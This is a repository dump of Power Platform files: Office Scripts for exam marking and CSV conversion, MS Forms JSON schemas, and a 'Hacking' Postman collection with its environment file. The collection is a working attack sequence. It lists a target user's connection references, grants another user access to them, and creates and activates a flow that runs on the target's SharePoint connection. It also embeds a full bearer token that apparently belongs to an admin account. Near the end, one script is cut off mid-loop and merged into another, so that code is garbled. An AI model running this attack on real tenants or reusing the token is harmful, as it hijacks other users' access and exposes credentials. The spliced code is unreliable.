Connectors/AutoReview_1_0_0_0.zip -------------------------------------------------------------------------------- /Custom Connectors/AutoReview_CustomConnector_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Custom Connectors/AutoReview_CustomConnector_1_0_0_1.zip -------------------------------------------------------------------------------- /Custom Connectors/AutoReview_CustomConnector_2_0_0_0_managed.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Custom Connectors/AutoReview_CustomConnector_2_0_0_0_managed.zip -------------------------------------------------------------------------------- /Custom Connectors/Regex_CustomerConnector_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Custom Connectors/Regex_CustomerConnector_1_0_0_1.zip -------------------------------------------------------------------------------- /Exam Marker/Exam Marker.osts: -------------------------------------------------------------------------------- 1 | {"version":"0.2.0","body":"\n\nfunction main(workbook: ExcelScript.Workbook, aQuestions: intQuestions[], oAnswers: intResponse, iPassScore: number) {\n\n const aAnswers: intAnswers[] = JSON.parse(oAnswers.answers) // convert anwers striing to array\n let data: intQuestScoring[] = []; // new array to pass back each question, answer, points and if passed\n let bCorrectAnswer: boolean; // for each question flag to see if correct\n let iPoints: number = 0 //total points avaialble for test\n let iPoint: number; // points per question \n let iTotalPoints: number = 0; // total points scored\n let sCorrect: string; //correct answer\n\n aQuestions.forEach((item, i, arr) => {\n const sAnswer = aAnswers.find(q => (q.questionId == item.id)).answer1\n if (item.type == \"Question.Choice\") {\n const oQuestInfo: intquestionInfo_Choices = JSON.parse(item.questionInfo);\n const aChoice: intChoices[] = oQuestInfo.Choices;\n const aCorrect: intChoices[] = aChoice.filter(a => (a.IsAnswerKey))\n sCorrect = JSON.stringify(aCorrect);\n\n if (oQuestInfo.ChoiceType == 1) {\n bCorrectAnswer = sAnswer == aCorrect[0].Description;\n } else {\n const aMulitAnswer: [] = JSON.parse(sAnswer)\n const aFindCorrect = aCorrect.filter(a => {\n return sAnswer.includes(a.Description)\n })\n bCorrectAnswer = (aFindCorrect.length == aCorrect.length) && (aCorrect.length == aMulitAnswer.length);\n }\n\n if (bCorrectAnswer) {\n iPoints += oQuestInfo.Point\n iPoint = oQuestInfo.Point;\n } else {\n iPoint = 0;\n }\n iTotalPoints += oQuestInfo.Point;\n }\n\n if (item.type == \"Question.TextField\") {\n const oQuestInfo: intquestionInfo_Text = JSON.parse(item.questionInfo);\n if (oQuestInfo.hasOwnProperty('GradingBasis')) {\n sCorrect = oQuestInfo.GradingBasis;\n const aCorrect: intGradingBasis[] = JSON.parse(sCorrect)\n const aFindCorrect = aCorrect.filter(a => {\n return a.answer == sAnswer\n })\n bCorrectAnswer = aFindCorrect.length > 0\n\n if (bCorrectAnswer) {\n iPoints += oQuestInfo.Point\n iPoint = oQuestInfo.Point;\n } else {\n iPoint = 0;\n }\n\n if (oQuestInfo.Point) {\n iTotalPoints += oQuestInfo.Point;\n }\n }\n }\n\n data.push({\n id: item.id,\n questionInfo: sCorrect,\n type: item.type,\n answer: sAnswer,\n points: iPoint,\n correct: bCorrectAnswer\n })\n })\n\n const oReturn: intReturn = {\n pass: iPoints >= iPassScore, //have they passed\n points: iPoints, //points scored\n passPoints: iPassScore, // required points to pass\n totalPoints: iTotalPoints, // total available points\n data: data // array of answers and correct answers for validation\n }\n \n return (oReturn)\n}\n\ninterface intQuestions {\n id: string,\n questionInfo: string,\n type: string\n}\n\ninterface intResponse {\n id: number,\n responder: string,\n submitDate: string,\n answers: string,\n responderName: string\n}\n\ninterface intQuestScoring {\n id: string,\n questionInfo: string,\n type: string,\n points: number,\n correct: boolean,\n answer: string\n}\n\ninterface intReturn {\n pass: boolean,\n points: number,\n passPoints: number,\n totalPoints: number,\n data: intQuestScoring[]\n}\n\ninterface intAnswers {\n answer1: string,\n questionId: string\n}\n\ninterface intquestionInfo_Choices {\n Choices: intChoices[],\n ChoiceType: number,\n AllowOtherAnswer: boolean,\n OptionDisplayStyle: string,\n ChoiceRestrictionType: string,\n ShowRatingLabel: boolean,\n Point: number\n}\n\ninterface intChoices {\n Description: string;\n FormsProDisplayRTText: string,\n IsAnswerKey: boolean\n}\n\ninterface intquestionInfo_Text {\n Multiline: boolean,\n ShowRatingLabel: boolean,\n Point: number,\n GradingBasis: string\n}\n\ninterface intGradingBasis {\n answer: string,\n questionId: string\n}\n","description":"","parameterInfo":"{\"version\":1,\"originalParameterOrder\":[{\"name\":\"aQuestions\",\"index\":0},{\"name\":\"oAnswers\",\"index\":1},{\"name\":\"iPassScore\",\"index\":2}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"aQuestions\",\"oAnswers\",\"iPassScore\"],\"properties\":{\"aQuestions\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"questionInfo\":{\"type\":\"string\"},\"type\":{\"type\":\"string\"}}}},\"oAnswers\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"number\"},\"responder\":{\"type\":\"string\"},\"submitDate\":{\"type\":\"string\"},\"answers\":{\"type\":\"string\"},\"responderName\":{\"type\":\"string\"}}},\"iPassScore\":{\"type\":\"number\"}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"object\",\"properties\":{\"pass\":{\"type\":\"boolean\"},\"points\":{\"type\":\"number\"},\"passPoints\":{\"type\":\"number\"},\"totalPoints\":{\"type\":\"number\"},\"data\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"questionInfo\":{\"type\":\"string\"},\"type\":{\"type\":\"string\"},\"points\":{\"type\":\"number\"},\"correct\":{\"type\":\"boolean\"},\"answer\":{\"type\":\"string\"}}}}}}}},\"signature\":{\"comment\":\"\",\"parameters\":[{\"name\":\"workbook\",\"comment\":\"\"},{\"name\":\"aQuestions\",\"comment\":\"\"},{\"name\":\"oAnswers\",\"comment\":\"\"},{\"name\":\"iPassScore\",\"comment\":\"\"}]}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"} -------------------------------------------------------------------------------- /Exam Marker/ExamMarker_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Exam Marker/ExamMarker_1_0_0_1.zip -------------------------------------------------------------------------------- /Exam Marker/ms forms questions schema.json: -------------------------------------------------------------------------------- 1 | { 2 | "type": "object", 3 | "properties": { 4 | "@@odata.context": { 5 | "type": "string", 6 | "description":"https://forms.office.com/formapi/api/{tenantID}}/users/{userID}/forms('{formID}')/questions(questionInfo,type,id)" 7 | }, 8 | "value": { 9 | "type": "array", 10 | "items": { 11 | "type": "object", 12 | "properties": { 13 | "id": { 14 | "type": "string" 15 | }, 16 | "type": { 17 | "type": "string", 18 | "enum":["Question.TextField","Question.Choice","Question.Date","Question.Ranking","Question.MatrixChoice","Question.MatrixChoice","Question.NPS"] 19 | }, 20 | "questionInfo": { 21 | "type": "object", 22 | "anyOf": [ 23 | { 24 | "description":"Question.TextField", 25 | "type":"object", 26 | "properties":{ 27 | "Multiline":{ 28 | "type":"boolean" 29 | }, 30 | "ShowRatingLabel":{ 31 | "type":"boolean" 32 | }, 33 | "Point":{ 34 | "type":"integer" 35 | }, 36 | "GradingBasis":{ 37 | "type": "array", 38 | "items": { 39 | "type":"object", 40 | "properties":{ 41 | "answer": { 42 | "type": "string" 43 | }, 44 | "questionid": { 45 | "type": "string", 46 | "description":"Only if answer set else not returned" 47 | } 48 | } 49 | } 50 | } 51 | } 52 | }, 53 | { 54 | "description":"Question.Choices", 55 | "type":"object", 56 | "properties":{ 57 | "ChoiceType":{ 58 | "type":"integer", 59 | "enum":[1,2] 60 | }, 61 | "AllowOtherAnswer":{ 62 | "type":"boolean" 63 | }, 64 | "OptionDisplayStyle":{ 65 | "type":"string" 66 | }, 67 | "ShuffleOptions":{ 68 | "type":"boolean" 69 | }, 70 | "ShowRatingLabel":{ 71 | "type":"boolean" 72 | }, 73 | "Point":{ 74 | "type":"integer" 75 | }, 76 | "Choices":{ 77 | "type": "array", 78 | "items": { 79 | "type":"object", 80 | "properties":{ 81 | "Description": { 82 | "type": "string" 83 | }, 84 | "FormsProDisplayRTText": { 85 | "type": "string" 86 | }, 87 | "IsAnswerKey": { 88 | "type": "boolean" 89 | } 90 | } 91 | } 92 | } 93 | } 94 | }, 95 | { 96 | "description":"Question.Date", 97 | "type":"object", 98 | "items":{ 99 | "properties":{ 100 | "Date":{ 101 | "type":"boolean" 102 | }, 103 | "Time":{ 104 | "type":"boolean" 105 | }, 106 | "ShuffleOptions":{ 107 | "type":"boolean" 108 | }, 109 | "ShowRatingLabel":{ 110 | "type":"boolean" 111 | }, 112 | "Point":{ 113 | "type":"integer" 114 | }, 115 | "IsMathQuiz":{ 116 | "type":"boolean" 117 | } 118 | } 119 | } 120 | }, 121 | { 122 | "description":"Question.Ranking", 123 | "type":"object", 124 | "items":{ 125 | "GradingBasis":{ 126 | "type":"array", 127 | "items": { 128 | "type": "string" 129 | } 130 | } 131 | }, 132 | "ShuffleOptions":{ 133 | "type":"boolean" 134 | }, 135 | "ShowRatingLabel":{ 136 | "type":"boolean" 137 | }, 138 | "Point":{ 139 | "type":"integer" 140 | }, 141 | "IsMathQuiz":{ 142 | "type":"boolean" 143 | } 144 | }, 145 | { 146 | "description":"Question.NPS", 147 | "type":"object", 148 | "items":{ 149 | "properties":{ 150 | "LeftDescription":{ 151 | "type":"string" 152 | }, 153 | "RightDescription":{ 154 | "type":"string" 155 | }, 156 | "ShuffleOptions":{ 157 | "type":"boolean" 158 | }, 159 | "ShowRatingLabel":{ 160 | "type":"boolean" 161 | }, 162 | "Point":{ 163 | "type":"integer" 164 | }, 165 | "IsMathQuiz":{ 166 | "type":"boolean" 167 | } 168 | } 169 | } 170 | } 171 | ] 172 | } 173 | } 174 | } 175 | } 176 | } 177 | } 178 | 179 | 180 | 181 | 182 | -------------------------------------------------------------------------------- /Exam Marker/ms forms responses schema.json: -------------------------------------------------------------------------------- 1 | { 2 | "type": "object", 3 | "properties": { 4 | "@@odata.context": { 5 | "type": "string", 6 | "description":"https://forms.office.com/formapi/api/{tenantID}}/users/{userID}/forms('{formID}')/responses?$select=id,responder,submitDate,answers,responderName" 7 | }, 8 | "value": { 9 | "type": "array", 10 | "items": { 11 | "id": { 12 | "type":"integer" 13 | }, 14 | "startDate": { 15 | "type":"string", 16 | "format": "date-time" 17 | }, 18 | "submitDate":{ 19 | "type":"string", 20 | "format": "date-time" 21 | }, 22 | "responder": { 23 | "type":"string", 24 | "format": "email" 25 | }, 26 | "responderName": { 27 | "type":"string" 28 | }, 29 | "answers":{ 30 | "type":"array", 31 | "items":{ 32 | "answer1":{ 33 | "anyOf": [ 34 | { 35 | "type":"string" 36 | }, 37 | { 38 | "array":{ 39 | "type":"string" 40 | } 41 | } 42 | ] 43 | }, 44 | "questionId":{ 45 | "type":"string" 46 | } 47 | } 48 | }, 49 | "releaseDate": { 50 | "type":"string", 51 | "format": "date-time" 52 | } 53 | } 54 | } 55 | } 56 | } -------------------------------------------------------------------------------- /Hacking/Misuse Shared Connection References/Misuse Connections Hack.postman_collection.json: -------------------------------------------------------------------------------- 1 | { 2 | "info": { 3 | "_postman_id": "cd1c23cd-99ba-4237-8503-d980f1d51da8", 4 | "name": "Misuse Connections Hack", 5 | "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json", 6 | "_exporter_id": "17311769" 7 | }, 8 | "item": [ 9 | { 10 | "name": "List System Users", 11 | "request": { 12 | "method": "GET", 13 | "header": [], 14 | "url": { 15 | "raw": "{{dynamics_url}}/api/data/v9.2/systemusers?$filter=fullname eq '{{admin_name}}' or fullname eq '{{target_name}}'", 16 | "host": [ 17 | "{{dynamics_url}}" 18 | ], 19 | "path": [ 20 | "api", 21 | "data", 22 | "v9.2", 23 | "systemusers" 24 | ], 25 | "query": [ 26 | { 27 | "key": "$filter", 28 | "value": "fullname eq '{{admin_name}}' or fullname eq '{{target_name}}'" 29 | } 30 | ] 31 | }, 32 | "description": "This is used to show flow after it is created" 33 | }, 34 | "response": [] 35 | }, 36 | { 37 | "name": "List Connection References", 38 | "request": { 39 | "method": "GET", 40 | "header": [], 41 | "url": { 42 | "raw": "{{dynamics_url}}/api/data/v9.2/connectionreferences?$filter= _createdby_value eq '{{target_sys_id}}'", 43 | "host": [ 44 | "{{dynamics_url}}" 45 | ], 46 | "path": [ 47 | "api", 48 | "data", 49 | "v9.2", 50 | "connectionreferences" 51 | ], 52 | "query": [ 53 | { 54 | "key": "$filter", 55 | "value": " _createdby_value eq '{{target_sys_id}}'" 56 | } 57 | ] 58 | }, 59 | "description": "This is used to show flow after it is created" 60 | }, 61 | "response": [] 62 | }, 63 | { 64 | "name": "Share connection Reference", 65 | "request": { 66 | "method": "POST", 67 | "header": [], 68 | "body": { 69 | "mode": "raw", 70 | "raw": "{\r\n \"Target\": {\r\n \"connectionreferenceid\": \"{{connectionreference_id}}\",\r\n \"@odata.type\": \"Microsoft.Dynamics.CRM.connectionreference\"\r\n },\r\n \"PrincipalAccess\": {\r\n \"Principal\": {\r\n \"systemuserid\": \"{{admin_sys_id}}\",\r\n \"@odata.type\": \"Microsoft.Dynamics.CRM.systemuser\"\r\n },\r\n \"AccessMask\": \"ReadAccess,WriteAccess,ShareAccess\"\r\n }\r\n}", 71 | "options": { 72 | "raw": { 73 | "language": "json" 74 | } 75 | } 76 | }, 77 | "url": { 78 | "raw": "{{dynamics_url}}/api/data/v9.0/GrantAccess", 79 | "host": [ 80 | "{{dynamics_url}}" 81 | ], 82 | "path": [ 83 | "api", 84 | "data", 85 | "v9.0", 86 | "GrantAccess" 87 | ] 88 | }, 89 | "description": "This is used to show flow after it is created" 90 | }, 91 | "response": [] 92 | }, 93 | { 94 | "name": "Create Flow", 95 | "request": { 96 | "method": "POST", 97 | "header": [], 98 | "body": { 99 | "mode": "raw", 100 | "raw": "{\r\n \"category\": 5,\r\n \"statecode\": 0,\r\n \"istransacted\": true,\r\n \"type\": 1,\r\n \"triggeroncreate\": false,\r\n \"runas\": 1,\r\n \"triggerondelete\": false,\r\n \"versionnumber\": 2980866,\r\n \"asyncautodelete\": false,\r\n \"name\": \"{{flow_name}}\",\r\n \"ismanaged\": false,\r\n \"businessprocesstype\": 0,\r\n \"clientdataiscompressed\": false,\r\n \"mode\": 0,\r\n \"introducedversion\": \"1.0\",\r\n \"iscrmuiworkflow\": false,\r\n \"statuscode\": 1,\r\n \"trustedaccess\": false,\r\n \"subprocess\": false,\r\n \"scope\": 4,\r\n \"ondemand\": false,\r\n \"componentstate\": 0,\r\n \"planverified\": false,\r\n \"syncworkflowlogonfailure\": false,\r\n \"primaryentity\": \"none\",\r\n \"clientdata\": \"{\\\"properties\\\":{\\\"connectionReferences\\\":{\\\"shared_sharepointonline\\\":{\\\"connectionName\\\":\\\"{{connection}}\\\",\\\"source\\\":\\\"Embedded\\\",\\\"id\\\":\\\"/providers/Microsoft.PowerApps/apis/shared_sharepointonline\\\",\\\"tier\\\":\\\"NotSpecified\\\"}},\\\"definition\\\":{\\\"$schema\\\":\\\"https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#\\\",\\\"contentVersion\\\":\\\"1.0.0.0\\\",\\\"parameters\\\":{\\\"$connections\\\":{\\\"defaultValue\\\":{},\\\"type\\\":\\\"Object\\\"},\\\"$authentication\\\":{\\\"defaultValue\\\":{},\\\"type\\\":\\\"SecureObject\\\"}},\\\"triggers\\\":{\\\"Recurrence\\\":{\\\"recurrence\\\":{\\\"frequency\\\":\\\"Minute\\\",\\\"interval\\\":1},\\\"metadata\\\":{\\\"operationMetadataId\\\":\\\"ef06d664-1bbe-417d-8aac-095c65a0eb02\\\"},\\\"type\\\":\\\"Recurrence\\\"}},\\\"actions\\\":{\\\"Get_items\\\":{\\\"runAfter\\\":{},\\\"metadata\\\":{\\\"operationMetadataId\\\":\\\"22ea8a5f-0415-413e-837d-1f85d83de0ce\\\"},\\\"type\\\":\\\"OpenApiConnection\\\",\\\"inputs\\\":{\\\"host\\\":{\\\"connectionName\\\":\\\"shared_sharepointonline\\\",\\\"operationId\\\":\\\"GetItems\\\",\\\"apiId\\\":\\\"/providers/Microsoft.PowerApps/apis/shared_sharepointonline\\\"},\\\"parameters\\\":{\\\"dataset\\\":\\\"https://37wcqv.sharepoint.com/sites/testsite\\\",\\\"table\\\":\\\"742435b6-7897-4636-ab8e-ec347405b9a6\\\"},\\\"authentication\\\":\\\"@parameters('$authentication')\\\"}}}}},\\\"schemaVersion\\\":\\\"1.0.0.0\\\"}\",\r\n \"createstage\": null,\r\n \"xaml\": null\r\n}\r\n", 101 | "options": { 102 | "raw": { 103 | "language": "json" 104 | } 105 | } 106 | }, 107 | "url": { 108 | "raw": "{{dynamics_url}}/api/data/v9.2/workflows", 109 | "host": [ 110 | "{{dynamics_url}}" 111 | ], 112 | "path": [ 113 | "api", 114 | "data", 115 | "v9.2", 116 | "workflows" 117 | ] 118 | }, 119 | "description": "This creates the flow.\n\nThe connection can be found in the url when creating the connection. The user would just need the envirnoment id to access the connection screen in the make.powerautomate.com site. Additional connections can be used/added to any flow but this example just uses SharePoint\n\nThe connection can be found in the url when creating the connection. Additional connections can be used/added to any flow but this example just uses SharePoint" 120 | }, 121 | "response": [] 122 | }, 123 | { 124 | "name": "List Flows", 125 | "request": { 126 | "method": "GET", 127 | "header": [], 128 | "url": { 129 | "raw": "{{dynamics_url}}/api/data/v9.2/workflows?$filter=name eq '{{flow_name}}'", 130 | "host": [ 131 | "{{dynamics_url}}" 132 | ], 133 | "path": [ 134 | "api", 135 | "data", 136 | "v9.2", 137 | "workflows" 138 | ], 139 | "query": [ 140 | { 141 | "key": "$filter", 142 | "value": "name eq '{{flow_name}}'" 143 | } 144 | ] 145 | }, 146 | "description": "This is used to show flow after it is created" 147 | }, 148 | "response": [] 149 | }, 150 | { 151 | "name": "Turn on flow", 152 | "request": { 153 | "method": "PATCH", 154 | "header": [], 155 | "body": { 156 | "mode": "raw", 157 | "raw": "{\r\n \"statecode\": 1,\r\n \"statuscode\": 2\r\n}", 158 | "options": { 159 | "raw": { 160 | "language": "json" 161 | } 162 | } 163 | }, 164 | "url": { 165 | "raw": "{{dynamics_url}}/api/data/v9.2/workflows({{workflow_id}})", 166 | "host": [ 167 | "{{dynamics_url}}" 168 | ], 169 | "path": [ 170 | "api", 171 | "data", 172 | "v9.2", 173 | "workflows({{workflow_id}})" 174 | ] 175 | }, 176 | "description": "Turns flow on/ off. If using schedule trigger this can be used to make the flow run instantly" 177 | }, 178 | "response": [] 179 | }, 180 | { 181 | "name": "Change Ref", 182 | "request": { 183 | "method": "PATCH", 184 | "header": [], 185 | "body": { 186 | "mode": "raw", 187 | "raw": "{\r\n \"clientdata\": \"{\\\"properties\\\":{\\\"connectionReferences\\\":{\\\"shared_sharepointonline\\\":{\\\"runtimeSource\\\":\\\"embedded\\\",\\\"connection\\\":{\\\"connectionReferenceLogicalName\\\":\\\"{{connectionReferenceLogicalName}}\\\"},\\\"api\\\":{\\\"name\\\":\\\"shared_sharepointonline\\\"}}},\\\"definition\\\":{\\\"$schema\\\":\\\"https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#\\\",\\\"contentVersion\\\":\\\"1.0.0.0\\\",\\\"parameters\\\":{\\\"$connections\\\":{\\\"defaultValue\\\":{},\\\"type\\\":\\\"Object\\\"},\\\"$authentication\\\":{\\\"defaultValue\\\":{},\\\"type\\\":\\\"SecureObject\\\"}},\\\"triggers\\\":{\\\"Recurrence\\\":{\\\"recurrence\\\":{\\\"frequency\\\":\\\"Minute\\\",\\\"interval\\\":1},\\\"metadata\\\":{\\\"operationMetadataId\\\":\\\"ef06d664-1bbe-417d-8aac-095c65a0eb02\\\"},\\\"type\\\":\\\"Recurrence\\\"}},\\\"actions\\\":{\\\"Get_items\\\":{\\\"runAfter\\\":{},\\\"metadata\\\":{\\\"operationMetadataId\\\":\\\"22ea8a5f-0415-413e-837d-1f85d83de0ce\\\"},\\\"type\\\":\\\"OpenApiConnection\\\",\\\"inputs\\\":{\\\"host\\\":{\\\"connectionName\\\":\\\"shared_sharepointonline\\\",\\\"operationId\\\":\\\"GetItems\\\",\\\"apiId\\\":\\\"/providers/Microsoft.PowerApps/apis/shared_sharepointonline\\\"},\\\"parameters\\\":{\\\"dataset\\\":\\\"https://37wcqv.sharepoint.com/sites/testsite\\\",\\\"table\\\":\\\"742435b6-7897-4636-ab8e-ec347405b9a6\\\"},\\\"authentication\\\":\\\"@parameters('$authentication')\\\"}}}},\\\"templateName\\\":\\\"\\\"},\\\"schemaVersion\\\":\\\"1.0.0.0\\\"}\"\r\n}", 188 | "options": { 189 | "raw": { 190 | "language": "json" 191 | } 192 | } 193 | }, 194 | "url": { 195 | "raw": "{{dynamics_url}}/api/data/v9.2/workflows({{workflow_id}})", 196 | "host": [ 197 | "{{dynamics_url}}" 198 | ], 199 | "path": [ 200 | "api", 201 | "data", 202 | "v9.2", 203 | "workflows({{workflow_id}})" 204 | ] 205 | }, 206 | "description": "Turns flow on/ off. If using schedule trigger this can be used to make the flow run instantly" 207 | }, 208 | "response": [] 209 | } 210 | ], 211 | "auth": { 212 | "type": "bearer", 213 | "bearer": [ 214 | { 215 | "key": "token", 216 | "value": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IktRMnRBY3JFN2xCYVZWR0JtYzVGb2JnZEpvNCIsImtpZCI6IktRMnRBY3JFN2xCYVZWR0JtYzVGb2JnZEpvNCJ9.eyJhdWQiOiJodHRwczovL29yZzk2YmU3YzE5LmFwaS5jcm0uZHluYW1pY3MuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvNmI2YzNlZGUtYWEwZC00MjY4LWE0NmYtOTZiNzYyMWIxM2E4LyIsImlhdCI6MTcyMzExNTcxMSwibmJmIjoxNzIzMTE1NzExLCJleHAiOjE3MjMxMjAyNzcsImFjY3QiOjAsImFjciI6IjEiLCJhaW8iOiJBVlFBcS84WEFBQUFBdDNiSm1tSm1xck5EdU1xdERDKzNMNncvQlRyTnRaZ0hVa2pndUVsUk41UjJDejBWZXMyeE8rVkx3ZE0xVTIvWm9jMTNodEcwTWVDamRra2pITGlwWENaWWh4VWhibk1Eclo3c1g1MVVhST0iLCJhbXIiOlsicHdkIiwibWZhIl0sImFwcGlkIjoiNjIwNGMxZDEtNDcxMi00YzQ2LWE3ZDktM2VkNjNkOTkyNjgyIiwiYXBwaWRhY3IiOiIwIiwiZmFtaWx5X25hbWUiOiJ3eWF0dCIsImdpdmVuX25hbWUiOiJkYXZpZCIsImlkdHlwIjoidXNlciIsImlwYWRkciI6IjE2OC4yMzMuMTA5LjAiLCJsb2dpbl9oaW50IjoiTy5DaVJtWW1JNU5qTXlZUzB6WVRKbUxUUmhPRGd0WW1aaVppMDBZV0ZrTjJFNFkyRTRNV1lTSkRaaU5tTXpaV1JsTFdGaE1HUXROREkyT0MxaE5EWm1MVGsyWWpjMk1qRmlNVE5oT0JvY1FXUnRhVzVBTXpkM1kzRjJMbTl1YldsamNtOXpiMlowTG1OdmJTQmoiLCJuYW1lIjoiZGF2aWQgd3lhdHQiLCJvaWQiOiJmYmI5NjMyYS0zYTJmLTRhODgtYmZiZi00YWFkN2E4Y2E4MWYiLCJwdWlkIjoiMTAwMzIwMDJDOTA5QUQ5RiIsInJoIjoiMC5BYjBBM2o1c2F3MnFhRUtrYjVhM1loc1RxQWNBQUFBQUFBQUF3QUFBQUFBQUFBQzlBSW8uIiwic2NwIjoidXNlcl9pbXBlcnNvbmF0aW9uIiwic3ViIjoieHB4R0plM1JSdEliczdpaGFZZFk5YlZoUEN3NkFaTl8wd05HemJlM0psQSIsInRlbmFudF9yZWdpb25fc2NvcGUiOiJOQSIsInRpZCI6IjZiNmMzZWRlLWFhMGQtNDI2OC1hNDZmLTk2Yjc2MjFiMTNhOCIsInVuaXF1ZV9uYW1lIjoiQWRtaW5AMzd3Y3F2Lm9ubWljcm9zb2Z0LmNvbSIsInVwbiI6IkFkbWluQDM3d2Nxdi5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJ6UDU3d3B0bzgwYXFVTTBwTVFSU0FBIiwidmVyIjoiMS4wIiwid2lkcyI6WyI2MmU5MDM5NC02OWY1LTQyMzctOTE5MC0wMTIxNzcxNDVlMTAiLCJiNzlmYmY0ZC0zZWY5LTQ2ODktODE0My03NmIxOTRlODU1MDkiXSwieG1zX2lkcmVsIjoiMSAxMCJ9.h77dsGSaPTDc1OonQqvr8BN6UULKe7315MVF1bGFNQE6EKpou82UzjskHQPet5qQ7f453-jXhajJXYmaHXjtqrINw4JacTnk-ZWeLfcMBPsYfI1EFxaoRKCB7apdr2lxlNbxx3VhuE2RYLibW96Hqo2ro9fBjnu2v8EkvMuXi6RqMXJm94s2C2ctoc7hbAqWp3PQbSTszUjvtX4fX5Qww9IF21tysUy17Xx9hc9NCGBl2RXve5Q35FkZxkMLZ30icTyLTZqAV0EZbWdlhZZmC3oXvFhqz19DhQhclCmcV-DX6oGm_81-eML7N7Vptv7XdZuE5LLqMhWgr5DMyZhPDg", 217 | "type": "string" 218 | } 219 | ] 220 | }, 221 | "event": [ 222 | { 223 | "listen": "prerequest", 224 | "script": { 225 | "type": "text/javascript", 226 | "packages": {}, 227 | "exec": [ 228 | "" 229 | ] 230 | } 231 | }, 232 | { 233 | "listen": "test", 234 | "script": { 235 | "type": "text/javascript", 236 | "packages": {}, 237 | "exec": [ 238 | "" 239 | ] 240 | } 241 | } 242 | ] 243 | } -------------------------------------------------------------------------------- /Hacking/Misuse Shared Connection References/Power Platform Environment.postman_environment.json: -------------------------------------------------------------------------------- 1 | { 2 | "id": "614ebb0d-fb39-40d6-9086-41399b95893b", 3 | "name": "Power Platform Environment", 4 | "values": [ 5 | { 6 | "key": "dynamics_url", 7 | "value": "https://org996d2b40.crm.dynamics.com", 8 | "type": "default", 9 | "enabled": true 10 | }, 11 | { 12 | "key": "connection", 13 | "value": "", 14 | "type": "default", 15 | "enabled": true 16 | }, 17 | { 18 | "key": "flow_name", 19 | "value": "", 20 | "type": "default", 21 | "enabled": true 22 | }, 23 | { 24 | "key": "workflow_id", 25 | "value": "", 26 | "type": "default", 27 | "enabled": true 28 | }, 29 | { 30 | "key": "admin_name", 31 | "value": "", 32 | "type": "default", 33 | "enabled": true 34 | }, 35 | { 36 | "key": "target_name", 37 | "value": "", 38 | "type": "default", 39 | "enabled": true 40 | }, 41 | { 42 | "key": "admin_sys_id", 43 | "value": "", 44 | "type": "default", 45 | "enabled": true 46 | }, 47 | { 48 | "key": "target_sys_id", 49 | "value": "", 50 | "type": "default", 51 | "enabled": true 52 | }, 53 | { 54 | "key": "connectionreference_id", 55 | "value": "", 56 | "type": "default", 57 | "enabled": true 58 | }, 59 | { 60 | "key": "connectionReferenceLogicalName", 61 | "value": "", 62 | "type": "default", 63 | "enabled": true 64 | }, 65 | { 66 | "key": "entra_id", 67 | "value": "", 68 | "type": "default", 69 | "enabled": true 70 | }, 71 | { 72 | "key": "environment_id", 73 | "value": "", 74 | "type": "default", 75 | "enabled": true 76 | }, 77 | { 78 | "key": "connectorid", 79 | "value": "", 80 | "type": "default", 81 | "enabled": true 82 | } 83 | ], 84 | "_postman_variable_scope": "environment", 85 | "_postman_exported_at": "2024-08-17T08:48:10.171Z", 86 | "_postman_exported_using": "Postman/11.8.2-240814-0826" 87 | } -------------------------------------------------------------------------------- /Office Scripts/Bulk Email Conversion.osts: -------------------------------------------------------------------------------- 1 | {"version":"0.2.0","body":"function main(workbook: ExcelScript.Workbook) {\r\n\tlet tableRange = workbook.getWorksheet(\"Sheet1\").getUsedRange().getValues();\r\n\tlet rowCount = tableRange.length;\r\n\tlet colCount = tableRange[0].length;\r\n\tlet rowObject: child[]=[];\r\n\tlet rowObject2: parent[] = [];\r\n\r\n\tfor (let r=1;r {\n let rIndex=index;\n if (value.length > 0) {\n let row = value.match(csvRegex);\n\n if (row[0].charAt(0) === ',') {\n row.unshift(\"\");\n }\n if (index != 0) { sJson += \"{\" }\n\n row.forEach((cell, index) => {\n row[index] = cell.indexOf(\",\") === 0 ? cell.substr(1) : cell;\n if (rIndex == 0) {\n aHeaders.push(row[index] .toString())\n } else {\n if (Number(row[index])){\n sJson += '\"' + aHeaders[index] + '\":' + row[index] + ','\n } else if (row[index] == \"TRUE\" || row[index] == \"FALSE\"){\n sJson += '\"' + aHeaders[index] + '\":' + row[index].toLowerCase() + ','\n }else{\n sJson += '\"' + aHeaders[index] + '\":\"' + row[index].trim() + '\",'\n }\n }\n });\n\n if (index != 0) {\n sJson = sJson.substring(0, sJson.length - 1);\n sJson += \"},\"\n }\n }\n });\n sJson = sJson.substring(0, sJson.length - 1);\n sJson += \"]\";\n return (sJson);\n}\n\n\n","description":"","copilotMetadata":null,"parameterInfo":"{\"version\":1,\"originalParameterOrder\":[{\"name\":\"csv\",\"index\":0}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"csv\"],\"properties\":{\"csv\":{\"type\":\"string\"}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"string\"}}},\"signature\":{\"comment\":\"\",\"parameters\":[{\"name\":\"workbook\",\"comment\":\"\"},{\"name\":\"csv\",\"comment\":\"\"}]}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"} 